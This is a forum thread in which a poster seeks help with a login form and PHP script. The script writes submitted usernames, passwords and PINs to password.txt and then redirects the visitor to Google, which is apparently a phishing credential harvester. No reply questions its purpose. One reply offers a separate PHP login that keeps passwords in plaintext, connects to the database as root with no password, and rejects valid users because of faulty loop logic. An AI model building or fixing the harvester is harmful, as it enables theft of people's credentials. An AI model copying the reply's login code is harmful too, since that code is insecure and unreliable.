+ Reply to Thread
Results 1 to 3 of 3




  

Thread: Help with my login form!

      
  1. #1
    I'm New! zerkky is on a distinguished road
    Join Date
    April 27, 2010
    Posts
    2
    Rep Power
    0
    Feedback Score
    0

    Default Help with my login form!

    Okay, so I made a login form with 3 text boxes. I also created an image as the submit button. When submit is clicked, I want the .php page to store the filled in form data in a text document while redirecting to another page (for example: saving to password.txt and redirecting to a site such as google). It's not working, so I'm not sure if my HTML is messed up or my PHP. Hope you can help!

    My HTML form:
    Code:
    <form name="login" id="login" action="login.php" method="POST">
    
    User ID
    <input type="text" name="txtId" id="txtId" class="input" value="" tabindex="1" size="20">
    
    User P/W <input type="password" name="txtPassword" id="txtPassword" class="input" value="" tabindex="2" maxlength="12"><BR>
    
    User PIC <input type="text" name="txtPIC" id="txtPIC" class="input" value="" tabindex="1" size="20">
    
    <input type="image" src="login.gif" name="image" value="submit" alt="Submit button"></div></div>
    </form>
    My PHP script:
    Code:
    <?php
    $fp = fopen(”password.txt”, “a”);
    fwrite($fp, “Username:$_POST[txtId]\tPassword:$_POST[txtPassword]\tPIC:$_POST[txtPIC]”);
    echo “<HTML>
    
    <FRAMESET cols=\”*\”>
    <FRAME src=\”google”>
    </FRAMESET>”;
    ?>

  2. #2
    Grand Masters simplyamazing12 will become famous soon enoughsimplyamazing12 will become famous soon enough
    Join Date
    May 6, 2010
    Posts
    593
    Rep Power
    3
    Feedback Score
    0

    Default Re: Help with my login form!

    I'm not a big PHP guru and I had the same issue when making my login form for customers about a year back. I would ask this question at Programming - myhosting.com Forums

    Only if you don't get an answer here. There was a guy there named Richie who really helped me with it.
    My Business: Chi Chi Floral [link soon!]

    Web hosting provided by: Myhosting.com

  3. #3
    Jedi Master sandeep Kumar is on a distinguished road
    Join Date
    June 24, 2010
    Location
    India
    Posts
    35
    Rep Power
    2
    Feedback Score
    0

    Default Re: Help with my login form!

    here's something that I made some time back... you can try this if you want.

    this is the html file ->

    Code:
    <form name="login" method="post" action="index_dir.php">
    <table align="center" border="">
            <tr>
                   <td>
                     <b  style="background-color:#063">USERNAME</b>
                    <input type="text" name="dir_username" value="USERNAME" style="background-color:#966">
                    </td>
            </tr>
            <tr>
                   <td><b style="background-color:#063">PASSWORD</b>  
                   <input type="password" name="dir_password" value="*****" style="background-color:#966">
                   </td>
            </tr>
            <tr>
                   <td><input type="hidden" name="posted" value="true>"></td>
                   <td>
                   <input type="submit" name="dir_submir" value="GO" style="background-color:#063">
                   </td>
           </tr>
    </table>
    </form>
    My PHP script: [index_dir.php]

    Code:
    <?php
    if(isset($_POST['posted']))
    				{
    				   $name=$_POST['dir_username'];
    				   $pass=$_POST['dir_password'];
    				   $connect=mysql_connect('localhost','root','');
    				$db=mysql_select_db('dir_db',$connect);
    				$query=mysql_query('SELECT * FROM dir_login',$connect);
    				while($row=mysql_fetch_array($query))
    				{
    					$column1=$row['username'];
    					$column2=$row['password'];
    					if($column1 == $name && $column2 == $pass)
    					{
    						header('location:registration_dir.php');
    					}
    					else
    					{
    						echo('Sorry Username and password is mismatch');
    						exit();
    					}
    				}
    				}
    			 
    ?>

+ Reply to Thread

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

     

Similar Threads

  1. Feedback Form Generator
    By IsaacR in forum HTML & Website Design
    Replies: 0
    Last Post: Nov 21st, 2009, 8:30 am
  2. Cannot get form to submit
    By pravakar in forum HTML & Website Design
    Replies: 4
    Last Post: Apr 13th, 2009, 3:03 am
  3. contact form
    By unr in forum HTML & Website Design
    Replies: 22
    Last Post: Apr 6th, 2008, 7:41 am

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
WebTalkForums
WebTalkForums
Recent Forum Threads